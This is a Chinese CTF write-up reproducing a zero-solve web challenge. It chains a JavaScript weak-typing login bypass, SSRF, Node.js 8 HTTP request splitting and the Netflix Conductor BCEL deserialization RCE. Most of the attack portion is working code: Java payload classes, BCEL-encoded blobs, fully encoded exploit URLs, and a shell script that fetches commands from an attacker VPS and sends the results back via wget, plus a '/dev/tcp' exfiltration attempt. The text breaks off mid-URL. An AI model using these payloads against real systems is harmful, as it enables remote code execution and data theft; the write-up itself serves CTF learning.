CTF | 2021 虎符CTF Web internal_system 复现


引言

前几天打了个 2021 数字中国创新大赛虎符网络安全赛道,或者说是 虎符 CTF。

写了几道 Web 的 Writeup 丢在下面这里了。

CTF | 2021 数字中国创新大赛虎符网络安全赛道 WriteUp

Web 中还有一道零解的题目,即 internal_system。

正好看到赵总的 buuoj 开了环境,趁着还有兴趣,就来复现一下吧。

环境: [虎符CTF 2021] Internal System

复现过程主要参考了 glzjin 师傅的 虎符 CTF2021 Web 零解题 Internal System WriteUp

题目描述

开发了一个公司内部的请求代理网站,好像有点问题,但来不及了还是先上线吧(─.─||)

http://8.140.152.226:47921/

hint: /source存在源码泄露;/proxy存在ssrf

Steps

Step 01 登录 JS 弱类型绕过

访问 /source 得到源码,啊是 NodeJS。

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
        return JSON.stringify(response)
    } else {
        return response
    }
}

function SSRF_WAF(url) {
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

    return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
    return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] 

router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login')
    } else {
        res.redirect('/index')
    }
})

router.get('/login', (req, res, next) => {
    const {username, password} = req.query;

    if(!username || !password || username === password || username.length === password.length || username === 'admin') {
        res.render('login')
    } else {
        const hash = sha256(sha256(salt + username) + sha256(salt + password))

        req.session.admin = hash === adminHash

        res.redirect('/index')
    }
})

router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login')
    } else {
        res.render('index', {admin: req.session.admin})
    }
})

router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) {
        return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);

    console.log(url)

    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

    if(!status) {
        res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
        try {
            const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
            res.render('base', response.data)
        } catch(error) {
            res.render('base', error.message)
        }
    }
})

router.post('/proxy', async(req, res, next) => {
    if(!req.session.admin) {
        return res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }

    const result = {title: 'Search Success', content: ''}

    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body

    try {
        if(method == 'get') {
            const response = await axios.get(url)
            result.content = formatResopnse(response.data)
        } else if(method == 'post') {
            const response = await axios.post(url, data)
            result.content = formatResopnse(response.data)
        } else {
            result.title = 'Error'
            result.content = 'Unsupported Method'
        }
    } catch(error) {
        result.title = 'Error'
        result.content = error.message
    }

    return res.json(result)
})

router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "route.js");
})

router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
})

module.exports = router

首先需要登录,这里用到了 JavaScript 弱类型的特性。

参考 SuSeC CTF 2020 Writeup & 基于Node.JS的sha1绕过分析

以及 Node.js中url.parse函数的潜在安全问题

JavaScript 在使用加号拼接的时候最终会得到一个字符串(string),于是不会影响 sha256 的处理。

这里是用 GET query 传参,可以构造 payload

username[]=admin&password=admin

就能成功以管理员身份进入。

接下来打 ssrf……

Step 02 SSRF 拿 hint

登录之后,赵总这里给出了网络接口相关的参数,比赛环境里倒没有,得瞎猜。

不过 docker 内网默认是 172.1x.0.x 开始倒是了。

这里提交的 URL 会调用 GET /proxy 接口。再来看源码。

function SSRF_WAF(url) {
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

    return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
    return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] 
// ...

router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) {
        return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);

    console.log(url)

    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

    if(!status) {
        res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
        try {
            const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
            res.render('base', response.data)
        } catch(error) {
            res.render('base', error.message)
        }
    }
})

这几个 WAF 需要输入的 URL Host 为公网 IP,且目录不以 /flag 开头。

这个 NodeJS 服务默认是开在 3000 端口,但是如果直接访问 http://127.0.0.1:3000/ 会被 WAF 给拦住。

试了试访问自己的 VPS,是能通的。

考虑到机器上的服务一般监听 0.0.0.0,于是构造 URL

/proxy?url=http://0.0.0.0:3000/

成功访问到了当前站点的首页。

我们需要访问的是 /flag,为了绕过 WAF,可以利用 /search 接口。

router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }

    const result = {title: 'Search Success', content: ''}

    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body

    try {
        if(method == 'get') {
            const response = await axios.get(url)
            result.content = formatResopnse(response.data)
        } else if(method == 'post') {
            const response = await axios.post(url, data)
            result.content = formatResopnse(response.data)
        } else {
            result.title = 'Error'
            result.content = 'Unsupported Method'
        }
    } catch(error) {
        result.title = 'Error'
        result.content = error.message
    }

    return res.json(result)
})

构造 payload

/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

{"title":"Search Success","content":"{\"hint\":\"someone else also deploy a netflix conductor server in Intranet?\"}"}

提示在内网中有一个 netflix conductor server。

搜一下,这是一个微服务编排工具。

https://github.com/Netflix/conductor

https://netflix.github.io/conductor/

Conductor is an orchestration engine that runs in the cloud.

Step 03 内网找 Conductor 服务

它默认是开在 8080 端口,于是在内网中找一找/扫一扫。

本机上是没有的,在给出的内网网段里找一找,发现有了。

/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080

这是一个 Swagger UI,也就是个 API 接口文档。

<!DOCTYPE html>
<html>
<head>
 <meta charset="UTF-8">
 <title>Swagger UI</title>
 <link rel="icon" type="image/png" href="images/favicon-32x32.png" sizes="32x32" />
 <link rel="icon" type="image/png" href="images/favicon-16x16.png" sizes="16x16" />
 <link href='css/typography.css' media='screen' rel='stylesheet' type='text/css'/>
 <link href='css/reset.css' media='screen' rel='stylesheet' type='text/css'/>
 <link href='css/screen.css' media='screen' rel='stylesheet' type='text/css'/>
 <link href='css/reset.css' media='print' rel='stylesheet' type='text/css'/>
 <link href='css/print.css' media='print' rel='stylesheet' type='text/css'/>

 <script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>
 <script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>
 <script src='lib/jquery.slideto.min.js' type='text/javascript'></script>
 <script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>
 <script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>
 <script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>
 <script src='lib/lodash.min.js' type='text/javascript'></script>
 <script src='lib/backbone-min.js' type='text/javascript'></script>
 <script src='swagger-ui.js' type='text/javascript'></script>
 <script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>
 <script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>
 <script src='lib/jsoneditor.min.js' type='text/javascript'></script>
 <script src='lib/marked.js' type='text/javascript'></script>
 <script src='lib/swagger-oauth.js' type='text/javascript'></script>

 <!-- Some basic translations -->
 <!-- <script src='lang/translator.js' type='text/javascript'></script> -->
 <!-- <script src='lang/ru.js' type='text/javascript'></script> -->
 <!-- <script src='lang/en.js' type='text/javascript'></script> -->

 <script type="text/javascript">
 $(function () {

 var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080
 if (url && url.length > 1) {
 url = decodeURIComponent(url[1]);

 if (!url.includes('://')) {
 url = `http://${url}`;
 }
 } else {
 url = window.location.origin;
 }

 hljs.configure({
 highlightSizeThreshold: 5000
 });

 // Pre load translate...
 if(window.SwaggerTranslator) {
 window.SwaggerTranslator.translate();
 }
 window.swaggerUi = new SwaggerUi({
 url: url + "/api/swagger.json",
 dom_id: "swagger-ui-container",
 supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],
 onComplete: function(swaggerApi, swaggerUi){
 window.swaggerUi.api.setBasePath("/api");
 if(typeof initOAuth == "function") {
 initOAuth({
 clientId: "your-client-id",
 clientSecret: "your-client-secret-if-required",
 realm: "your-realms",
 appName: "your-app-name",
 scopeSeparator: " ",
 additionalQueryStringParams: {}
 });
 }

 if(window.SwaggerTranslator) {
 window.SwaggerTranslator.translate();
 }
 },
 onFailure: function(data) {
 log("Unable to Load SwaggerUI");
 },
 docExpansion: "none",
 jsonEditor: false,
 defaultModelRendering: 'schema',
 showRequestHeaders: false
 });

 window.swaggerUi.load();

 function log() {
 if ('console' in window) {
 console.log.apply(console, arguments);
 }
 }
 });

 </script>
</head>

<body class="swagger-section">
<div id='header'>
 <div class="swagger-ui-wrap">
 <a id="logo" href="http://swagger.io"><img class="logo__img" alt="swagger" height="30" width="30" src="images/logo_small.png" /><span class="logo__title">swagger</span></a>
 <form id='api_selector'>
 <div class='input'><input placeholder="http://example.com/api" id="input_baseUrl" name="baseUrl" type="text"/></div>
 <div id='auth_container'></div>
 <div class='input'><a id="explore" class="header__btn" href="#" data-sw-translate>Explore</a></div>
 </form>
 </div>
</div>

<div id="message-bar" class="swagger-ui-wrap" data-sw-translate>&nbsp;</div>
<div id="swagger-ui-container" class="swagger-ui-wrap"></div>
</body>
</html>

根据 swagger.json 拿到接口列表。

/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080/api/swagger.json

直接找了个 Swagger UI demo,然后本地起个服务,把上面得到的数据导进去。

先看看配置参数。

/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080/api/admin/config

得到

{
    "jetty.git.hash": "b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b",
    "loadSample": "true",
    "io.netty.noUnsafe": "true",
    "conductor.jetty.server.enabled": "true",
    "io.netty.noKeySetOptimization": "true",
    "buildDate": "2021-04-03_17:38:09",
    "io.netty.recycler.maxCapacityPerThread": "0",
    "conductor.grpc.server.enabled": "false",
    "version": "2.26.0-SNAPSHOT",
    "queues.dynomite.nonQuorum.port": "22122",
    "workflow.elasticsearch.url": "es:9300",
    "workflow.namespace.queue.prefix": "conductor_queues",
    "user.timezone": "GMT",
    "workflow.dynomite.cluster.name": "dyno1",
    "sun.nio.ch.bugLevel": "",
    "workflow.dynomite.cluster.hosts": "dyno1:8102:us-east-1c",
    "workflow.elasticsearch.instanceType": "external",
    "db": "dynomite",
    "queues.dynomite.threads": "10",
    "workflow.namespace.prefix": "conductor",
    "workflow.elasticsearch.index.name": "conductor"
}

版本为 2.26.0-SNAPSHOT

Step 04 Netflix Conductor RCE

参考 CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析

太顶了!(咱不会 Java,哭哭

这个漏洞出在 /api/metadata/taskdefs 上,需要 POST 一个 JSON 过去,里面含有恶意的 BCEL 编码,可以造成 RCE。

什么是 BCEL编码 呢?

http://commons.apache.org/proper/commons-bcel/

The Byte Code Engineering Library (Apache Commons BCEL™) is intended to give users a convenient way to analyze, create, and manipulate (binary) Java class files (those ending with .class). Classes are represented by objects which contain all the symbolic information of the given class: methods, fields and byte code instructions, in particular.

Byte Code Engineering Library (BCEL),这是Apache Software Foundation 的Jakarta 项目的一部分。BCEL是 Java classworking 最广泛使用的一种框架,它可以让您深入 JVM 汇编语言进行类操作的细节。

可以用 BCELCodeman 这个工具来编码、解码。

Step 05 NodeJS 8 HTTP 请求走私

暂且先不看这个,咱先看看 怎么从 GET 接口打 POST 请求

NodeJS 有个 CVE-2018-12116,可以在 path 里构造带有 Unicode 的数据,发送非预期的路径给服务端来生成另一个 HTTP 请求。

或者可以说是 HTTP 请求走私(HTTP request smuggling)。

Node.js: All versions prior to Node.js 6.15.0 and 8.14.0: HTTP request splitting: If Node.js can be convinced to use unsanitized user-provided Unicode data for the path option of an HTTP request, then data can be provided which will trigger a second, unexpected, and user-defined HTTP request to made to the same server.

(草,这也行

根据源码中的

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

可以知道用到的是 NodeJS 8. (这谁想到呢

唉,巨古老的版本,好烦手上没环境 docker 大法好啊!

搜一下 tag

https://hub.docker.com/_/node?tab=description&page=1&ordering=last_updated&name=8.13

(本来看影响范围到 8.14.0 的,于是试了一下 8.14.0-alpine,然而发现报错 TypeError: Request path contains unescaped characters,看来貌似修了

docker pull node:8.13.0-alpine
docker run -itd --name node8.13-test node:8.13.0-alpine
docker exec -it node8.13-test /bin/sh
# 进入docker里执行
npm i axios
node

然后给自己服务器打打试试,服务器上起个服务监听端口。

Node 里执行

const axios = require('axios')
var s = 'http://VPSIP/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'
axios.get(s).then((r) => console.log(r.data)).catch(console.error)

可以看到请求成功换行了,而且夹带了一个新的请求。

再夹带一个 POST 请求试试

var s = 'http://VPSIP/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.66.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:15\u{010D}\u{010A}\u{010D}\u{010A}MiaoTony Meow~~\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'

好耶,POST 请求构造成功了!



Step 06 借助 SSRF 打 Conductor RCE

那再回来看 Conductor RCE。

直接改 赵总的 Exploit 好了。

这里其实试了无数次,发现都反弹不了 shell,估计是没有 bash,但甚至直接 cat /flag > /dev/tcp/IP/PORT 也出不来,不懂为啥。。(难道重定向不行?

(心态炸了!!!啊啊啊啊啊啊啊!

最后没办法,还是先把 shell 脚本写入文件,再 sh filename 执行代码。

为了方便修改命令,就在 VPS 上放要执行的命令,靶机上的 shell 里利用 wget 下来后执行命令,再利用 URL 传参把执行结果返回给 VPS。

Evil.java

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("wget http://VPSIP:PORT/ -O /tmp/miaotony");
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

然后编译得到一个 Evil.class,再利用 BCELCodeman 转换为 BCEL 编码。

javac Evil.java
java -jar BCELCodeman.jar e Evil.class

(喵喵这里用的 java 版本是

# javac -version
javac 1.8.0_221

# java -version  
java version "1.8.0_221"
Java(TM) SE Runtime Environment (build 1.8.0_221-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.221-b11, mixed mode)

组合到 JSON 里

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5......').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

最后构造 POST 请求。

POST /api/metadata/taskdefs? HTTP/1.1
Host: 10.0.64.14:8080
Content-Type: application/json
Content-Length:1408

[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5......').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]

再 URL 编码一下,还需要借助 /proxy 接口 SSRF 代理请求。

参考一下赵总的 JS 脚本。

post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$c......\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'

console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.64.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload + '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))

打的时候记得改一下 $$BCEL$$ 那部分,以及 conductor 那台靶机的 IP。

得到

http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.64.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1536%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$db$a5$7cXh$b1$l$82$3e$I$9a$b2$rAi$d1$f8$d2$d0$tZ$8c$Q$7d$f0$c5a$9d$d0$b1$ecG$d6$c1$da_$d4g_$b4$f1$c1$l$e0$8f$b2$bd$b31$d2$a4$9dd$ce$cc$3d$f7$cc$b9wf$ee$eeon$B$b4$b1j$n$8dg$WJ$u$a7$f1$5c$af$_LT$y$y$60$c9$c4K$T$af$YR$3b$d2$97j$97$nQo$i0$q$3f$G$t$82$n$d7$97$be$f82$f3$c6$o$g$f1$f1$94$98$ecPq$f7$dbg$k$c6q$7c$baBr$8fK$9f$a1$5c$3f$ea$9f$f2s$eeL$b9$3fq$86$w$92$fed$5b$dbY$c3$60$W$b9$e2$93$d4$W$99$de$b9$9c6$b5$ceF$G$96$89$d76$de$60$99$c1$f9$3e$R$aa$faU$a9$b0$eb8$edN$f3$c3V$b3$b5$d5n$b66$db$ddN$eb$fd$bb$ea$dbA$d5Q$5e$e8x$92$H$w$f0$7f$d8$a8$a2$c6$b08$_$d9$bbpE$a8d$e0$dbX$81E$7d$e9R$M$f9$b9b0$3e$V$aeb$u$cc$a9$fd$99$af$a4G$8dYT$fe1$u$d5$h$fd$7f4$dbd$v$$$84$cb$b0V$ff$cfM$ff$a2$f6$a2$c0$Vggt$m$XRR$c5$cf6$8a$b8$xP$83I$df$a1$87$B$a6_$80$f0$JE$c7$U$h$b4$96$d7$af$c1$7e$c1$u$s$ae$90$3c$fc$89t$7f$e3$K$a9KR$r$91E$9e$7e$cd$80M$ba$r$a4$I$T$c4$$$Q$9f$a1$8c$89$C9$97$c81K$99$3c$8c$df$E$cc$c4S$N$b9d$ac$v$3cT$ab$d0dz$5e$c6$hm$98$8a$89$ya1nn$f1$P$LRz$KA$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

然后在自己 VPS 上起一个 web 服务,访问 http://VPSIP:PORT/ 的时候返回一个 shell 脚本。

#!/bin/sh
wget -O- -q  http://VPSIP:PORT/`wget -O- -q http://VPSIP:PORT/command|sh|base64|awk '{printf("%s",$0)}'` | echo

同时在监听 http://VPSIP:PORT/command 的地方放你要执行的命令,比如

whoami && cat /flag

这里执行的时候会访问 http://VPSIP:PORT/command,执行这条命令,再进行 base64 编码,最后把换行给去掉。最后把执行的结果返回到 http://VPSIP:PORT/xxx 这个路由下,根据服务器的日志,把 path base64 解码一下就能拿到执行的结果了。

如果不去掉换行的话 base64 多行的话会丢信息,执行还会认为是多个 wget 命令于是报错。。


再按照这一步的思路,同理生成一个 执行 /tmp/miaotony 的 URL。

public class Evil
{
    public Evil() {
        try {
            Runtime.getRuntime().exec("sh /tmp/miaotony");  // <========
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

BCEL:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$K$85Z$EDP$f0$85$ba$Q4$b1$hw$g7FW$f8$88$Y$5d$b8q$a8$T$i$a5$z$v$D$d1$_r$cdF$8d$L$3f$c0$8fR$ef4FLt$9293$f7$dcs$cf$9d$c7$fb$c7$eb$h$80$z$ac$daHc$daF$J$e54f$f4$3ak$a1b$p$89$aa$859$L$f3$M$a9$j$ZH$b5$cb$90$a87$ce$Z$cc$bd$f0Z0$e4$9a2$QG$D$bf$z$a23$de$ee$S$93m$v$ee$dd$j$f2$5e$i$c7$d5$V$92$fb$5c$G$M$e5$fae$f3$96$P$b9$db$e5A$c7m$a9H$G$9dmmg$b7$c2A$e4$89$D$a9$z2$fbC$d9$dd$d4$3a$H$Z$d8$W$W$i$yb$89$n$df$bf$a9$b9$ca$ef$b9$be$e4$a1$K$83$H$H5$y3$U$c7$9e$fb$f7$9e$e8$v$Z$G$OV$60Sc$edE$95c$c5q$fbVx$8a$a10$a6N$H$81$92$3eu$b6$3bB$fd$E$a5z$a3$f9G$b3M$96$e2$5ex$Mk$f5$7f$ae$f2$8b$3a$89BO$f4$fbT$90$ebQR$c5$efr$WqO$60$Z$W$bd$b7$k$G$98$be$o$e1$EEW$U$h$b4$96$d7$9f$c1$5e$60L$r$9e$60$5e$3c$o$dd$dcxBjD$w$TY$e4$e9$5b$M8$a4$ab$oE$98$m6I$7c$862$W$K$e4$5c$o$c7$ye$f20$3e$J$98$85I$N93$d6$U$be$bbUh2$3dG$f1F$h$a6b$oK8$V$l$ae$f8$F$bat$9bh$o$C$A$A

URL:

http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.64.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1408%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$K$85Z$EDP$f0$85$ba$Q4$b1$hw$g7FW$f8$88$Y$5d$b8q$a8$T$i$a5$z$v$D$d1$_r$cdF$8d$L$3f$c0$8fR$ef4FLt$9293$f7$dcs$cf$9d$c7$fb$c7$eb$h$80$z$ac$daHc$daF$J$e54f$f4$3ak$a1b$p$89$aa$859$L$f3$M$a9$j$ZH$b5$cb$90$a87$ce$Z$cc$bd$f0Z0$e4$9a2$QG$D$bf$z$a23$de$ee$S$93m$v$ee$dd$j$f2$5e$i$c7$d5$V$92$fb$5c$G$M$e5$fae$f3$96$P$b9$db$e5A$c7m$a9H$G$9dmmg$b7$c2A$e4$89$D$a9$z2$fbC$d9$dd$d4$3a$H$Z$d8$W$W$i$yb$89$n$df$bf$a9$b9$ca$ef$b9$be$e4$a1$K$83$H$H5$y3$U$c7$9e$fb$f7$9e$e8$v$Z$G$OV$60Sc$edE$95c$c5q$fbVx$8a$a10$a6N$H$81$92$3eu$b6$3bB$fd$E$a5z$a3$f9G$b3M$96$e2$5ex$Mk$f5$7f$ae$f2$8b$3a$89BO$f4$fbT$90$ebQR$c5$efr$WqO$60$Z$W$bd$b7$k$G$98$be$o$e1$EEW$U$h$b4$96$d7$9f$c1$5e$60L$r$9e$60$5e$3c$o$dd$dcxBjD$w$TY$e4$e9$5b$M8$a4$ab$oE$98$m6I$7c$862$W$K$e4$5c$o$c7$ye$f20$3e$J$98$85I$N93$d6$U$be$bbUh2$3dG$f1F$h$a6b$oK8$V$l$ae$f8$F$bat$9bh$o$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email 